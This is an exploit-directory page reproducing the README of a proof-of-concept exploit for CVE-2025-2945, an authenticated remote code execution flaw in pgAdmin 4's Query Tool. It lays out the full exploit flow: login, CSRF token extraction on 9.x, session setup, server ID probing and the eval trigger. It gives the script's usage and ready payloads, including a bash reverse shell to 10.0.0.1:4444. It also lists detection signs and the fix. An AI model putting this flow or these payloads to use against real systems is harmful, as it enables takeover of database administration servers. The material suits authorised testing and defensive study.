Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-2945-pgadmin-rce — Authenticated RCE in pgAdmin 4 (8.10–9.1) via eval() injection in the Query Tool. This is an updated PoC with compatibility fixes for pgAdmin 9.x auth changes | Kitploit
Tools/GitHubGitHub/plur1bu5/cve-2025-2945-pgadmin-rce
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubplur1bu5/cve-2025-2945-pgadmin-rce

CVE-2025-2945-pgadmin-rce

Authenticated RCE in pgAdmin 4 (8.10–9.1) via eval() injection in the Query Tool. This is an updated PoC with compatibility fixes for pgAdmin 9.x auth changes

View Repository
16 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-2945 — pgAdmin 4 Query Tool Authenticated RCE

Proof of concept for CVE-2025-2945, a critical remote code execution vulnerability in pgAdmin 4.

Affected versions: 8.10 through 9.1
Fixed in: 9.2 (released April 4, 2025)
CVSS v3.1: 9.9 (Critical)


Overview

The pgAdmin 4 Query Tool exposes an endpoint that accepts a query_commited parameter and passes it directly to Python's built-in eval() without any sanitization. An authenticated attacker can submit arbitrary Python code through this parameter and have it executed server-side under the pgAdmin service account.

The vulnerable endpoint is:

POST /sqleditor/query_tool/download/<trans_id>

The query_commited field in the JSON body is evaluated as Python code on the server.


Technical Analysis

Root Cause

In pgAdmin 4 versions prior to 9.2, the query tool download handler calls eval() on user-supplied input:

# Simplified representation of the vulnerable code path
result = eval(data.get('query_commited'))

No input validation, sandboxing, or allowlisting is applied. Any valid Python expression executes with the privileges of the pgAdmin process.

Exploit Flow

  1. Authenticate — POST credentials to /authenticate/login, obtain a session cookie and CSRF token
  2. Initialize sqleditor — POST to /sqleditor/initialize/sqleditor/<trans_id>/<sgid>/<sid>/<did> with database credentials to establish a query tool session
  3. Discover server ID — GET /sqleditor/get_server_connection/<sgid>/<sid> iterating over IDs until one returns data.status == true
  4. Trigger eval — POST to /sqleditor/query_tool/download/<trans_id> with {"query_commited": "<python payload>"}, receive a 500 response confirming execution

CSRF Token Handling (pgAdmin 9.x)

Older pgAdmin versions embedded the CSRF token in a hidden <input> field or a cookie. Version 9.x moved to a React SPA architecture where the token is embedded as JSON inside a window.renderSecurityPage() call on the /login page:

"csrfToken": "<token value>"

The token is session-scoped (Flask-WTF / itsdangerous), so the token obtained from the initial GET /login remains valid for the entire session and can be reused for all subsequent API calls.

Login Endpoint Change

pgAdmin 9.x split the login route:

  • GET /login — renders the login page (contains the CSRF token)
  • POST /authenticate/login — processes credentials

Older PoCs that POST directly to /login will receive a 404 or 405 on 9.x instances.


Requirements

  • Python 3.7+
  • Valid pgAdmin credentials (any authenticated user)
  • Valid database credentials for a server registered in pgAdmin
pip install requests faker

Usage

python3 poc.py \
  --rhost <target_host> \
  --username <pgadmin_email> \
  --password <pgadmin_password> \
  --db-user <db_username> \
  --db-pass <db_password> \
  --db-name <database_name> \
  --payload "<python_expression>"

Arguments

ArgumentDescription
--rhostTarget hostname or IP (no scheme)
--rportTarget port (default: 80)
--usernamepgAdmin login email
--passwordpgAdmin login password
--db-userPostgreSQL username
--db-passPostgreSQL password
--db-nameDatabase name
--payloadPython expression to evaluate on the server
--max-server-idMax server IDs to probe (default: 10)

Payload Examples

Command execution:

--payload "__import__('os').system('id')"

Reverse shell:

--payload "__import__('os').system('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"')"

Detection

  • Unexpected HTTP 500 responses from /sqleditor/query_tool/download/
  • pgAdmin process spawning child processes (shells, curl, wget)
  • Outbound connections from the pgAdmin host to unknown IPs

Mitigation

Upgrade to pgAdmin 4 version 9.2 or later.


References

  • https://nvd.nist.gov/vuln/detail/CVE-2025-2945
  • https://www.tenable.com/security/research/tra-2025-2945
  • https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/multi/http/pgadmin_query_tool_rce

Disclaimer

This repository is for educational and authorized testing purposes only. Do not use against systems you do not own or have explicit permission to test.

Download Tool